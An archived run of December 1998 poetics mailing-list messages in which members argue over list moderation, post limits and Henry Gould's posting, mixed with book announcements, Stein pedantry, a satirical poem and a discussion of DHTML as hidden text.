The Second: Yes I WAS the disturbed looking individual over there shouldering a rifle with one arm and a shovel with the other. My intention? To dig myself to hell where I planned to find and threaten the mud-mouthed beast who wrote "as for gaga let us put a veil over him."

For Third: Though I have been accused of infliction with Halitosis of The Keyboard, it is my fundamental impression, poetry can survive even the holy art of insult hence I insult you.

May you bang into the roost of an eagle.

An hungry eagle. An hungry angry people-hater of an eagle who cannot be suade by the cheap talk of which you are so overfond dear manic impostor.

yrs, gaga

Henry Gould:

On Wed, 2 Dec 1998, Henry Gould wrote:
> The world is large & poetry is deep, sublime and profound. We should
> be careful we don't deaden the awareness of its presence with our
> tinkling cymbals.

"Mercy on us, that God should give his favourite children, men, mouths to speak with, discourse rationally, to promise smoothly, to flatter agreeably, to encourage warmly, to counsel wisely: to sing with, to drink with, and to kiss with: and that they should turn them into mouths of adders, bears, wolves, hyenas, and whistle like tempests, and emit breath through them like distillations of aspic poison, to asperse and villify...."

Mercy on us, indeed. We can give words, I think, Henry, but Mercy comes from elsewhere, maybe from the big G (not me), maybe from Poetry, who knows: but thank you (and this from a profaning person) for reminding us. gg

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91. Jim Rosenberg
Re: Stein's Rose w or w/o indefinite article
Thu 3 Dec 1998

Michel Delville <[redacted]> writes:

> *Stein coined the phrase "Rose is a rose is a rose is a rose" in "Sacred Emily."*

It's been a lot of years now, but as I recall I read somewhere (sorry, can't remember the source) there was speculation that the first 'Rose' in this phrase in fact was a person's *name*. If this is true it gives the phrase an entirely different shading.

Jim Rosenberg http://www.well.com/user/jer/
CIS: 71515,124
WELL: jer
Internet: [redacted]

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92. J Kuszai
My 2 cents (.94 due to inflation)
Thu 3 Dec 1998

Henry's recent use of another person's account to send messages to to the list will only aggravate an already difficult situation, I assure you. And for what it is worth, I have long advocated that this list become a MODERATED list, even while mostly maintaining an atmosphere of an open forum (not free). Charles

has resisted this, though I think he is being principled, stubborn. I realize that this is an unpopular position, and I am used to taking unpopular positions.

Most of the people who were on this list when it began are now long gone. Some of them have started lists deriving their interests from the original intention of this one, while maintaining a limited scope and a limited "membership." For me, this list has always been an extension of the poetry and poetics community constituted around certain ideolologies and circumstances, whether poetix communities, graduate school programs, etc. It isn't about VIRTUAL anything--that is a bunch of cosmic cyber hype. The emphases reflected here, it seems to me, are related to these interests as expressed in the Welcome Message, which is reiterated monthly. Charles has never apologized for the intended focus of this list, nor should he. There are plenty of other lists, with differnt interests, foci, and rules of conduct. This list has to be run by someone, and only recently has the notion of pulling the plug on this forum become something resembling a real possiblity. Most of the people that I know who have left the list usually indicate that the low-quality of the conversation, the incessant chat-like behavior, etc., as the major reasons for their departure. Many of them have mentioned Henry (and others) as reasons for their departure. For what it's worth, if this list were moderated (and I was the moderator), most of what Henry has written would be fine with me. Always at issue (at least as far as I can tell) has been the sheer number of posts, the insistence that every post must be replied to, even if with a one-liner. (which isn't to say anything about the nastiness--even my post about my trip to LA was met publicly with scorn and derision--and there many subtle things in there that I was trying to indicate were missed completely, cast off as being ass-kissing &whatnot. Certainly not the kind of response that has me wanting to participate. In any event, it doesn't really matter what I think)

But on that note, I think it is time to end this list as it is presently known. Charles probably does not agree with me, and he has he reasons, I am sure. Perhaps one of the disaffected here will rise to run their own listserv program, listbot (like Kinsella's succssful PoetryEtc list). And it isn't that I wish to become the moderator. I am tired of being demonized for doing my job and I think that the next poetics list manager will want to take a more proactive role. There is no reason that this list has to mimic the worst aspects of l.f. capitalism or the fantasy of free speech.

I think this list has become too large to hear everyone.
Too few people dominate an increasingly paranoid conversation.

UNSUB TODAY!

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93. miekal and
Re: I'll cc' Joel's 2 cents, raise him 5
Thu 3 Dec 1998

---

daniel bouchard wrote:

I know of a Listserv organized as an alternative this one. It's closed (or
restricted) to prevent it from turning into this one. It's riddled with its
own problems as a result.

?which one might that be?

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94. Roger Day
Re: quick history
Thu 3 Dec 1998

Theres' a timeline of events at <URL:
http://www.nmsi.ac.uk/on-line/electron/section3/>

Atoms were first smashed in 1932, Cockcroft and Watson, Cavendish Laboratory.

"Splitting the atom" - detecting subatomic particles - was in 1911, Rutherford

At 03/12/98 09:09:23, miekal and <[redacted]> wrote:
wondering if someone could give me a quick history lesson, when was the
atom first split, Im guessing around 1937-38...
#
#
I miss henry
#
#
#
miekal
#

Roger

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95. Poetry Project
Re: reading/2 or 3 things
Thu 3 Dec 1998

Been reading Richard Holmes bio Shelley The Pursuit, which, along with his bio of Coleridge's early life, is some of the best biography I've ever dragged my eyes across. I've been hearing that the second part of Holmes' Coleridge bio is out or out in England or about to come out & wonder if anyone can verify this.

I'd third or fourth the recommendation of Hoa Nguyen's Dark, & say as well that eyes can be kept out for another collection of Nguyen's, Hood, which ought to be out some time in 1999 from Buck Downs' Books.

Last week staying in my cousin's room for a couple nights I read four or five Calvin & Hobbes books & remembered that that's where I got my poetics from, along with Dickinson & the New York Post. Plus a creepy Children's Bible to rid myself of some plague pictures that have haunted me worse than the albino roach families on St. Mark's Place; & flipped through Hakeem Olajuwon's auto-biography which gave me a feeling inside.

One other thing, a book by Sparrow called Republican Like Me, a diary/account/poetry boke of Sparrow's 1996 campaign against Dole for the repub. presidential nomination, is one of the funniest things I've read all year. It's from Soft Skull Press.

Anselm Berrigan

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96. David Carl
stein pedantics
Thu 3 Dec 1998

---

yes but it's "rose is a rose is a rose" no first 'a'

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97. Mairead Byrne
Re: quick history
Thu 3 Dec 1998

Free Henry Gould

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98. David Kellogg
Re: stein pedantics
Thu 3 Dec 1998

On Thu, 3 Dec 1998, David Carl wrote:
>
> yes but it's "rose is a rose is a rose" no first 'a'

Somewhere in Finnegans Wake, I recall reading

    eros is eros is eros

Cheers,
David
~~~
~~~

poetics list... i feel as if i have a very primitive awful mail handler, but maybe i'm better off than many? except most people here seem to have eudora. in my program messages come with sender and header. if header is on topic i'm not interested in, i delete. ditto, if sender annoys me. poetics list... every day, there is at least one new idea. several message that amuse. suggestions to read things that i tuck away and try and follow up on. new places to send work.

poetics list... i get in a stupid argument with a neighbor who thinks monica lewinsky was a whore and should be arrested and its her fault clinton fooled around anyway, or another real life example, god sent AIDS to kill gay people because they are evil. and i get home, or terminal at work, plug into poetics, and read about... use of spaces in poem. quote from zukofsky. new magazine from toledo ohio. an argument on whether a writer writes for audience, and should she/he. a report from a conference on laura riding.

yes, there is dreck, but there is also lots of gold. now joel, you say people complain and de-sub. that is part of net space, lists, in general. i'm on an outing club list, and every year, freshman join the list, then bumble around and flood list with requests to unsubscribe. people join lists thinking they are going to be one thing and they turn out to be another. you seem to be forgetting something -- the list has 700 subscribers. 700 people who joined and stayed on. that is pretty unbelievable. to complain on the one hand that people are quitting, while complaining that list is too big?... see a contradiction?

tone. i liked your report from la. earmarked it and meant to write you a note welcoming you back. lost it in my savage email program. one of my profs once said, about class reviews, you can get 26 glowing ones, but what you'll remember and brood about is the one that panned you. i recall people enjoying report from la. there were surely lots of people like me who meant to write and didn't, but would have written warm and happy-to-hear-from-you notes. tone in general. yes, poetics in general can be bitchy, snipping, mean-spirited. even, at times, downright ugly. welcom to cyberspace. i've never yet seen a list without flames, and poetics has had fewer than any other i've been on or read from.

henry. this whole thing puzzles me. there were posts in the last round that sucked -- mean, careless, sweeping and silly. but henry? he has consistently fought to bring up "poetics" questions, has asked those wild interesting abstract questions, included a scintillating corruscory of wordplay, wit, erudition. and calm. even his irritated posts are informed. so, like you, i would keep his posts. frequency? there are days he is about the only one posting.

frequency. easier solution -- programmers out there, i know this can be done in pascal. we can ask that it be done by conscience. suppose we set number, say, 3 posts per day max. if you want to post more than 3, you wait till end of day and if total posts < 50, you post your >3 post(s).

or could be set into programming -- each sub gets n=3 posts accepted, >3 posts get sent into queue. if total number (N) of posts N =< 35, say, then queue released.

moderator: should utterly foolish flame posts be deleted? on the one hand, we don't have to read, or get het up about them. on the other hand, maybe foolish flame poster can learn from seeing response to post? on other hand, are we here to teach. on other, why not screen the worst? final thought: comparatively speaking, very few flames overall, and large number of happy subscribers (or reasonably so, remember, you can vote with your feet). why fix what ain't broke. as a community, i think people know how to punish those perceived as out of line. and if you are bored with a line of inquiry, indicate same backchannel and delete front channel. easy, n'est ce pas?

final: with every post, i see people in sturdy tweed suits bearing down upon me ready to slap me silent with their mortarboards. that is my problem. i can imagine people such as would (and doubtless do) loath everything i say -- i've had roomates like that. does that mean i cease to speak? i also get backchannel and frontchannel posts thanking me for posts about every time i post. have to figure it evens out. in my paranoia, i can easily now imagine i am one of the ones "frequently complained about." does that mean i hoard up each congratulatory post, canvass friends to post "Great Post" posts, so that i have ammunition against the complainers? wouldn't that generate an awful lot of boring trash? why not just stopcomplaining to list moderators and take matters into our own individual, honest, taking responsibility, saying to face anything we have to say and not sneaking around behind people, etc. selves and write anyone we think is posting inappropriately, or in mean way, etc. ourselves BACKCHANNEL. and leave poor charles/joel/list/etc. out of it? people getting enough complaints probably would, i would think, do something about it themselves.

i hope none of the 700 (including you, joel, whose warm, funny, explorative posts i have always enjoyed) unsub, and that lots of the silent 700 pipe up. if you hate me, my posts, the horse i rode in on, write me and leave charles/joel/etc. alone. maybe we can figure out something together. if you like me, my posts, my horse, write me if you feel like it. sez i.

e

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101. Pritchett,Patrick
Re: My 2 cents (.94 due to inflation)
Thu 3 Dec 1998

Joel's judicious post raises some disturbing issues. Is it really apocalypse time for the venerable List? I for one would miss it terribly. And yet, my participation in the conversation has gone - over the course of three years - from timidly lurking to avidly active to overwhelmed by it all. Has the list become a victim of its own success? Or am I just busier than I used to be and suffering from List fatigue? I'm not sure I agree with Joel that the quality of the talk has waned all that significantly. Sure, there's a lot of happy gabbing that goes on - some of it rather amusing, some of it not - but I still find much here that is absorbing, instructive or provocative. If I had the time, I'd give a rundown of my own personal highlights from the past 3 months or so. One that does come to mind was the animated dialogue around issues of teaching "racist" texts in the classroom that Aldon Nielsen and others vigorously pursued. Another would be the issue of the legacy of Language Poetry that was taken up by Mark DuCharme, Mike Magee and many others. Of course the very form of this List militates against consensus - rightly so, I think, however frustrating that may be - and unfortunately, it also amplifies silliness into plain nastiness.

But beyond the intrigue of debating various poetics issues, the List has great value for me in two of the things Charles designed it for: the announcements of readings and events; and the announcement of new publications. This may strike many as banal, but by performing this quotidian service the List provides a sense of continuum or environment where information about "fellow travelers" and their activities is no longer fated to wither away on some local vine, but enjoys a kind of second bloom through its dissemination here. The number (and quality) of poetic and critical texts I've learned of here is simply staggering and I'm very grateful for the opportunity they've given me to delve more deeply into poetics. Where else can one find about these things?

Rather than impeach the List, ought we not to censure and move on? Patrick Pritchett

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102. daniel bouchard
I'll cc' Joel's 2 cents, raise him 5
Thu 3 Dec 1998

Joel,

I agree with a lot of what you said. Personally, I think this List has become an enormous drag: the goading and near-flames only somewhat less annoying than

the nice-nice posts that could better be back-channeled and other things that are probably intended to be witty comments that don't quite cut it on e-mail.

But I stay for two reasons: 1) vulnerability to the definition of the List made in last year's ILS Dictionary: "inane chatter; check constantly," and 2) inane as it is, it is read at work where my e-mail access is, and breaks up the day.

And then posts announcing new publications, readings, reading reports, trip reports, and reading lists make it worthwhile.

I have little sympathy for the people too delicate to participate. This list is anarchy; everyone can type and send a message from a level ground. Everyone can read each post in turn. No post is louder than another or arrives with greater authority than another. Maybe this list is boring as a result, but there is little or no flaming and that has been due either to peer pressure or mutual respect, whichever you prefer. You can delete posts wholesale; I do this regularly.

But I really meant to say something in defense of Henry Gould. His posts may outnumber anyone else's but I have never read them as being malicious or mean-spirited. There are many other over-chatty people too. Why not censor (or moderate) them too? Why not limit posts to one per-person each day? That ought to make one think before one writes.

Also, anyone who follows up a mistakenly-sent post to this List with an apology for doing so should be immediately reprimanded (via back-channel).

I know of a Listserv organized as an alternative this one. It's closed (or restricted) to prevent it from turning into this one. It's riddled with its own problems as a result.

having no answers to anything,

<<<<<<>>>>>>>>>>>>>>>>>>
Daniel Bouchard
The MIT Press Journals
Five Cambridge Center
Cambridge, MA 02142

[redacted]
phone: [redacted]
fax: [redacted]
>>>>>>><<<<<<<<<<<<<<<<

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103. Jordan Davis
numerology
Thu 3 Dec 1998

Not to interrupt the end of the world, but where'd anybody get this "700" club idea of the list? Looking at the subscriber list, I see 668 names, --

with RON SILLIMAN SUBSCRIBED THREE TIMES!!!

I mean you know what this means don't you????????

J

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104. Sylvester Pollet
Mina Loy/Woman & Poet
Thu 3 Dec 1998

At long last, the National Poetry Foundation title _Mina Loy, Woman and Poet_, ed. Maeera Shreiber & Keith Tuma, has arrived. 640 pages, $24.95 paper, $49.95 cloth. Full description on NPF website, http://www.ume.maine.edu/~npf/

SPECIAL POETICS LIST OFFER!!! PAPER $20., CLOTH $40., NO SHIPPING CHARGE (USA).

Contributors include Rachel Blau DuPlessis, Peter Quartermain, Marjorie Perloff, Roger Conover, Carolyn Burke, Ellen Keck Stauder, Kathleen Fraser, Barbara Guest, Anne Waldman, both editors, and quite a few others. There's a Mina Loy Interview by Paul Blackburn & Robert Vas Dias, and an annotated bibliography by Marisa Januzzi. Photographs, etc. etc.

Order by e-mail to Gail Sapiel <[redacted]> Ask her about postage for non-USA. We can ship and bill, or take a card #, or you can send a check.

National Poetry Foundation
Room 302
5752 Neville Hall
University of Maine
Orono Maine 04469-5752

(p.s. Without the Poetics List, where would I post this? Let's all calm down here. Pax, Sylvester)

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105. daniel bouchard
666
Thu 3 Dec 1998

---

700 Club debunked.

668- (minus) 3 Ron Sillimans (plus one RS) = the Buffalo List, or Satan.

It means the Poetics list is The Beast, and Henry is the whore of Babylon.

ha. ha.

(This is the kind of stupid e-mail that I should have back-channeled to Jordan, but send here
to prove a point. It is called fluff.

Or fluff-E.

Now do as I say, not as I do-- no more fluff-E.

Jordan wrote:

> *Not to interrupt the end of the world, but where'd anybody get this "700" club idea of the list? Looking at the subscriber list, I see 668 names, --*
>
> *with RON SILLIMAN SUBSCRIBED THREE TIMES!!!*
>
> *I mean you know what this means don't you????????*

> J
<<<<<<>>>>>>>>>>>>>>>>>>
Daniel Bouchard
The MIT Press Journals
Five Cambridge Center
Cambridge, MA 02142

[redacted]
phone: [redacted]
fax: [redacted]
>>>>>>><<<<<<<<<<<<<<<<

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106. William Marsh
Re: Infoanimism
Thu 3 Dec 1998

Jim

you're interesting article speaks to issues that make for a tough poetics, particularly in the way your explanations and definitions re DHTML suggest distinct but somehow integrated layers of text / i've chatted with 'coder' friends about

the idea of 'hidden languages' -- akin i think to your 'neath text' -- and like to think sometimes that poetry writes a hidden text, ie, 'neath' the popular languages of commerce and company xmas parties / i'm troubled i guess by the way items start to stack up though when we venture into this layering mode -- one passage in your essay in particular i kept coming back to:

"When we look at documents on the Web, we see text and graphics and controls and so forth. But upon understanding the basics of DHTML, we begin to see the 'neath text, what's unseen but present in the source code and begin to reconceptualize the document as a collection of objects with properties that can be changed in real-time. The objects can also respond to changes in the other objects or initiate changes in the other objects. And changes can be caused either by the underlying logic of the neath text or be caused by the reader's responses to the visible manifestation of the document."

"understanding the basics of DHTML" i guess is similar to knowing the sacred code / or for me at least the quasi-mysticism of the 'neath' text or the "unseen but present" in the source code brings up a lot of questions about the user-devotee's relation to this code, degrees of understanding, etc. / i read the above as a statement regarding in fact your reconceptualization of the document after experimenting with Dhtml, rather than what is necessarily a reader-viewer's response -- it then dovetails into a description i think of general DHTML functions, ie, what can be done with it in composing a document, and this i think is a different issue altogether -- a craft thing comparable to discussing pigment in relation to color, or instrumental timbre in relation to orchestral sound

when i look at "enigma n" (http://speakeasy.org/~jandrews/vispo/enigmanie.htm) i see an animated anagram (a good one), and the chaotic cycling of the letters puts some thoughts in motion regarding letters-in-relation, meaning, and 'meaning' as a composite of letters "signifying nothing" -- a fun puzzle indeed / i'm intrigued by this because it enters into a long tradition of word art centering on the anagram (reading lately the Ren. philosopher Bruno who saw in the arrangement of letters the "potential elements of new worlds") / while i know your discussion of document 'objects' above is from a coder-writer's perspective, here and elsewhere in your essay the determinism of the language bothers me a bit / later you write that viewing a doc in DHTML "allows us to conceive of a word that appears on the screen as being an object with its own properties and behaviors." -- i don't think DHTML allows this so much as it and other languages and applications provide interesting tools for formalizing practices long in development and which hardly "begin" with DHTML / i grant there are differences, but i'd rather call them differences of degree not kind and spend time clarifying those degrees

languages neath languages concealing languages is an interesting idea but in definite need of some crisper articulations of exactly what gets revealed and concealed and who and by what mechanisms the concealed gets revealed / otherwise i'd like to know more about how DHtml creates a "document as a collection of objects with properties that can be changed in real-time."

a lot of loose questions and concerns hidden right here / thanks for pointing to your article

all best,
bill

- - - -

grandeur as well as allowing me the pleasure of rubbing my pixels next to the high-profile individuals who frequent here. The publications and urls for web-pages and magazines have been a blessing... Trying to use Yahoo or other search engines just doesn't cut it. So, I'd rather spend my hours wading through the bickering and bitchiness of the poets here to find even one impressive site than to wallow in impersonal boolean searches. It seems the personalities here are strong, and egoes even stronger, but thank god for the smuggled-in Henry Gould email. His comment about "Poetry is part of the seriousness of life" makes me glad. I miss him and wish he were back. Henry said it so well in that message: "We are possessed by love which overtakes us & transfigures everything. These are the things that a poet tries to become worthy to express." And it seems to me this is what Henry has been attempting (for the most part) with most of his messages. A humorous nudge here, a dialectic tug there, back toward the direction/discussion of poetry.

--bob

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109. Aldon Nielsen
Re: My 2 cents (.94 due to inflation)
Thu 3 Dec 1998

---

as an early adopter who has come and gone from the list at varied times I'd just like to say that I still find it immensely valuable -- As long as I have a delete button, I have no real concern about some of our sillier moments -- when people get too insulting I just absent myself for a few days -- But I can attest to the fact that this list has made my life and my work go better -- I remember the day some years ago when I posted a question about a name that appears in Bob Kaufman's work -- Ron Silliman shot back with an answer for me almost immediately -- It would have taken me weeks to track down the information on my own --

and I have enjoyed running into people from the list at different meetings and readings around the country --

Unsub if you must this old, gray list

but, If Charles is taking suggestions, I'm in favor of his current, minimal moderation --

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110. **Hank Lazer**
Re: My 2 cents (.94 due to inflation)
Thu 3 Dec 1998

I second Aldon's views. Sure, there are times when this List gets tedious. But those times, no doubt, are different for each of us. There will be stretches of more delete, and stretches of more rapt engaged attention. I, too, have found the list to be very informative. I hope the list continues in its somewhat anarchice current manner.

Hank Laer

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111. **Judy Roitman**
Re: raddle moon
Thu 3 Dec 1998

> *could you backchannel with subscription address again please? i lost it thanks,*
>
> *wendy*

Maybe frontchannel too.

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas | memory fails Lawrence, KS 66045 | these are the days." [redacted]
| fax: [redacted] | Larry Eigner, 1927-1996
---------- Note new area code
---
http://www.math.ukans.edu/~roitman/

↑ Index

112. **Judy Roitman**
Re: My 2 cents (.94 due to inflation)
Thu 3 Dec 1998

> *as an early adopter who has come and gone from the list at varied times I'd just like to say that I still find it immensely valuable -- As long as I have a delete button, I have no real concern about some of our sillier moments -- when people get too insulting I just absent myself for a few days -- But I can attest to the fact that this list has made my life and my work go better -- I remember the day some years ago when I posted a question about a name that appears in Bob Kaufman's work -- Ron Silliman shot back with an answer for me almost immediately -- It would have taken*

> *me weeks to track down the information on my own --*
>
> *and I have enjoyed running into people from the list at different meetings and readings around the country --*
>
> *Unsub if you must this old, gray list*
>
> *but, If Charles is taking suggestions, I'm in favor of his current, minimal moderation --*

And if we're taking a vote: me too.

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas | mem-
ory fails Lawrence, KS 66045 | these are the days." [redacted]
| fax: [redacted] | Larry Eigner, 1927-1996
---------- Note new area code
----
http://www.math.ukans.edu/~roitman/

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113. Joe Amato/Kass Fleisher

Re: My 2 cents (.94 due to inflation)

Thu 3 Dec 1998

---

well if it's come to a vote then:

henry's posts are usually a scream... so free hg, yes, but by all means

FREE LEONARD PELTIER

the list, all said and done, is quite valuable to me, if not quite a blessing... i am grateful for it... i would preach (as you all know by now) self-policing rather than moderation... (i know this may not always work, and i'm not aligning mself with/against anyone here, and i don't mean to sound panoptical... but i think joel's "unsub" was sent in the spirit of trying to get folks to listen to themselves)...

db: no hard feelings, but i DO have sympathy, not for "delicate" ears (fuck that), but for those who feel attacked/excluded... this is a judgment call, of course, and i won't rehearse what i've already writ re same... but sometimes it's downright clear to me when someone/some group is feeling attacked/excluded... and though i can certainly hit the <delete> key quick as anyone (to eliminate some of the godawful trivia that floats by my eyes, e.g.) i don't think that's the whole answer to things getting nasty...

btw, so far i've enjoyed some of the posts writ in order to defend the list (as it were) than a lot of what i've seen prior (incl. of course my own volumes)... make of it what you will, i'm trying to mself...

best,

joe

↑ Index

114. **Judy Roitman**

Re: one post per day, and a chicken in every pot

Thu 3 Dec 1998

> *s I've already said recently, I'm one of those who have been frustrated with the quality of discussion on the list. But I also hate the idea of some sort of strict control being imposed, and I'm not crazy about the idea of policing particular people either. What I'd *like* to see happen is for people to exercise greater self-control on their own, but I guess it's unlikely that this will happen.*
> *I'm coming around, then, to the idea that a single post per day limit might be a very good compromise. No particular person's posts would have to be restricted; everyone would operate under the same limitation. The abuse of the list by over-posters like Henry would be eliminated (and I see this as a major problem--though I read many of Henry's posts--perhaps even as much as a tenth or a twentieth of them--with great interest). It would also be much more difficult for flurries of sniping and obstreperous back-and-forth exchanges to dominate any given day. When tempers flared there would be a built-in cool-off period, etc.*
>
> *I still like too much about the list to want to see it come to an end, so maybe we can do something to make it work better. steve*

Once a day? Cheez. Back-and-forth is _fun_. I mean here I am grading a stack of papers or something and I turn on the list and there is db flirting with db and what could be lovelier?

Just try to keep it short folks...

More seriously, I think a lot of the tiresomeness is people trying to tell us what they meant to say or how somebody didn't understand what they said or justifying what they've already said or etc. Here are Judy's Simple E-Rules for E-Etiquette:

1. Never defend.
2. If you've said it once don't say it again.

And of course there is the every-important

3. Never attack.

These work pretty good at meetings too. But hey I wouldn't shut anyone up for not sticking to what are, after all, just my own personal rules.

Cheers.

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas | mem-
ory fails Lawrence, KS 66045 | these are the days." [redacted]
| fax: [redacted] | Larry Eigner, 1927-1996
---------- Note new area code
----
http://www.math.ukans.edu/~roitman/

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115. R.Gancie/C.Parcelli

Re: Response to Bernstein: What is a Discoball of Wrath?

Thu 3 Dec 1998

I don't know what all this "handwringing" is about and I don't
paticularly relish sounding like an ACLU lawyer defending the Neo-Nazi's
right to march in Skokee, but yesterday in the throws of a three day
migraine that's rolled into four, I reread issues of the Lewis/Pound
mag, Blast. It occurred to me that Lewis and Pound would have definitely
been scoured from this list or would have faced a lesser punishment if
they had brought to the list the prestige of their historical
reputations. I won't go into the irony of Gab's wack at Pound in an
earlier post and the decided similarity between his post and Blast's
visceral postions. A passionate tactic, perhaps.
Opportunity here is open ended.
Blast! Dammit! Joe! This is our roots. No wonder we come off as a
marginalized group of fops. What's the difference between moderation and
censorship? This is how the academy/nonacademy shit gets started.
I hope this post meets the content requirement. Now, I'm going to lapse
back into the delicious nausea and pain of the four day migraine.
Free Henry!---Carlo Parcelli
> that was a great post by dave chirot...
>
> let me offer a few more thoughts, and i apologize once again for any hint
> of self-righteousness:
>
> if anyone should think it impossible to destroy a list "community" forever
> and ever, think again... it's happened, i've seen it happen, and it ain't a

> pretty sight (and this has been said around here before)... this is a
> region of our own doing, as tentative and perishable as anything else
> human...
>
> so while i'm all for letting folks do what they do, so to say, i'm also for
> some working sense of self-restraint (modulations as implied in what
> follows)...
>
> charles b. is trying to use what tools the establishment has given him in
> order to help make this place livable for 700+ subscribers---no easy
> task... which is to say, he has a certain responsibility as list moderator
> to *everyone* on the list---much as we have a responsibility to one another
> [he sez]... after all, this *is* a moderated list, whatever one thinks of
> same---and there are reasons why it's moderated (which we can discuss at
> length)... but those of you who have served (even as) listowners, like me,
> will no doubt be able to address the difficulties of keeping such a list
> going in productive directions w/o the potentially damaging fall-out of
> nastier exchange... (((and yes, i'm using what amounts to media-ecology
> language here, and i think it appropriate)))...
>
> and to reiterate: it's simply not the case that everyone --more
> specifically, every so identified grouping -- feels equally "at home"
> hereabouts, for all sortsa reasons (i might mention gender as an operating
> construct, but wish to avoid another jihad)... and it's simply not a matter
> of "if you can't stand the heat, get out of the kitchen" (this should be
> self-evident)... so the way i see it, folks should be attentive to the list
> environs as such, whatever their intentions or motivations, and stop to
> consider whether they really wish merely to alienate, or insult, or offend,
> or silence, or drive away (all as opposed, say, to raising anxieties)... i
> don't say we should in any sense aim to please -- and i understand only too
> well the necessary risks that come of pushing those envelopes -- but i *do*
> say that, however outlandish or unorthodox our sentiments, we should find a
> way to respond to what's coming *back to us* via the list, and not continue
> as though "no harm could possibly be done"... assuming we value a diverse
> list population, we can prove our commitment to same only through our
> actions---which around here = words...
>
> finally: i regard this medium we're all busy exploiting as still quite
> new, despite how tried & true it often seems... it allows for more
> performative posts, near-synchronous exchange, fairly deliberate
> exposition, quick procedural communique, tones of moral indignation [mea
> culpa], on and on and on... over time i suspect we'll all learn better how

> to tickle these keys, to offer up our wildest dreams in ways that won't
> give offense (thoug of course we'll no doubt give offense too, being only
> human)... but folks, we often don't know one another all that well---e.g.,
> despite the incredible rhetorical skills that so many of you possess, you
> can't really see/hear me winking at you right *now*, saying in so many
> words "but you don't need me to tell you this, right?"...
>
> -----
>
> and if all of this sounds impossible, well that's something worth aiming
> for i think...
>
> ///
>
> joe

--
ÐÏ à¡± á

↑ Index

116. Jordan Davis
Campaign finance reform and the moderated list
Thu 3 Dec 1998

---

no no no!

vote NO on Proposition Moderation!

Moderate language poets? Zoiks

Decenter'd narrative, the author's dead, yada yada ... Free Henry!

J

↑ Index

117. Steven Shoemaker
one post per day, and a chicken in every pot
Thu 3 Dec 1998

---

s I've already said recently, I'm one of those who have been frustrated with the quality of discussion on the list. But I also hate the idea of some sort of strict control being imposed, and I'm not crazy about the idea of policing particular people either. What I'd *like* to see happen is for people to exercise greater self-control on their own, but I guess it's unlikely that this will happen. I'm coming around, then, to the idea that a single post per day limit might be a very

good compromise. No particular person's posts would have to be restricted; everyone would operate under the same limitation. The abuse of the list by over-posters like Henry would be eliminated (and I see this as a major problem--though I read many of Henry's posts--perhaps even as much as a tenth or a twentieth of them--with great interest). It would also be much more difficult for flurries of sniping and obstreperous back-and-forth exchanges to dominate any given day. When tempers flared there would be a built-in cool-off period, etc.

I still like too much about the list to want to see it come to an end, so maybe we can do something to make it work better. steve

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118. Gabriel Gudding
skewer
Thu 3 Dec 1998

See at Poetics List,
ey in a purple twist,
ey gotta aggravate
before de dudes dilate,
or else ey confiscate
ya motha's condoMINium - yo - ya wi me -
talkin thu MINimum -
a no dim sum -
cause when de keys is hot,
you betta watch ya shot,
ya make a baby slip
ya boody gonna drip - yo - talkin to ya -
sayin -
a Fatmouth Ghouley-boy
he some winduppity-puppity-lovey-dovey-talkin toy -
he smooth it ova nice
a then he ice you twice,
he gotsa snakey mouth
you better go back south,
he shoot you down right NOW
wid all his cockabull Po-po - SHO!
hea come da Language Pos,
he shoot em in da toes,
hea come da bureaucrats,
he gonna burn em cats,
hea come da high-strut Johns,
he make em look like clowns,

he gotsa witchy voice,
he gonna tail yo noise,
yo - betta lookout now!

watch ya keyboard, dahlin!

- Jack Spandrift

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119. R.Gancie/C.Parcelli

Re: one post per day, and a chicken in every pot

Thu 3 Dec 1998

On the contrary. I think the number, tenor, quality, wit, wisdom,
inanity etc. of the posts should be entirely open ended. Remember
Wabash.---Carlo Parcelli
P.S. Blast! is great to read when your suffering double vision from a
migraine---the prints so large.
Steven Shoemaker wrote:
>
> s I've already said recently, I'm one of those who have been frustrated
> with the quality of discussion on the list. But I also hate the idea of
> some sort of strict control being imposed, and I'm not crazy about the
> idea of policing particular people either. What I'd *like* to see happen
> is for people to exercise greater self-control on their own, but I guess
> it's unlikely that this will happen.
> I'm coming around, then, to the idea that a single post per day limit
> might be a very good compromise. No particular person's posts would have
> to be restricted; everyone would operate under the same limitation. The
> abuse of the list by over-posters like Henry would be eliminated (and I
> see this as a major problem--though I read many of Henry's posts--perhaps
> even as much as a tenth or a twentieth of them--with great interest). It
> would also be much more difficult for flurries of sniping and obstreperous
> back-and-forth exchanges to dominate any given day. When tempers flared
> there would be a built-in cool-off period, etc.
>
> I still like too much about the list to want to see it come to an end,
> so maybe we can do something to make it work better. steve

--
ÐÏ à¡± á

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120. MAXINE CHERNOFF
Please backchannel
Thu 3 Dec 1998

I am looking for an e-mail or phone address for Joseph Lease.

Please backchannel

Maxine Chernoff

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121. David Hickman
Troubling Posts, Insults, and Childishness
Thu 3 Dec 1998

Speaking as one of the (usually) silent listoids riding into the valley with the rest of the 600 +,I'm surprised at the surprise expressed over the recent flap concerning troubling posts, insults, and childishness. Poets are, after all, human beings. Why would anyone be surprised when they act like it? Notions of civility are perhaps the real trouble here, not because civility is not useful when actually achieved, but because it is less than civil to expect others to achieve such behviors consistently, or some to achieve it more than occasionally. After all, sublimation is not easy, and one of the things poets often like to do is allow the unconcious and see where it leads. Something I have very much liked about the list is the level of tolerance that has been afforded those who do not necessarily subscribe to the "norms" of it's behavior. Certainly it is sometimes annoying to me to read through posts I'm not interested in or have significant problems with. (I occasionally delete those I know I'm not interested in, though I usually remember that if I have a problem with something, the problem is at least as much mine as it is the sender's). But I would rather have the posts there to read through or delete than to think that people were not allowed their voice because there is a clash around the notion of what polite behavior is. David Hickman

↑ Index

122. Wystan Curnow
(Fwd) Re: fail safe
Thu 3 Dec 1998

michael corbin wrote:

> Jordan Davis wrote:
>
> > Moved
> > that Hart Crane's "The Bridge"

> > "failed" --
>
Hart's
Failed?

> *david bromige wrote:*
>
> *aloud in a*
> *Bart station,*

Farts are out
in a art station

>
> "they called to the streets, and the streets killed them". Weber, on Rosa
> Luxembourg and Karl Liebknecht.
>
> Its not just a vertigo of modernity, I think, to be undone by this built
> environment. Yes, Yes, it is postmodern bricolage. Architecture. But what I'm
> confronted with is the concrete mixer. Dump truck. And those ubiquitous
> stanchions or tapered dividers that they put out at the construction sites, road
> repair, infrastructure development. Or more, scaffolding. Pinned up against the
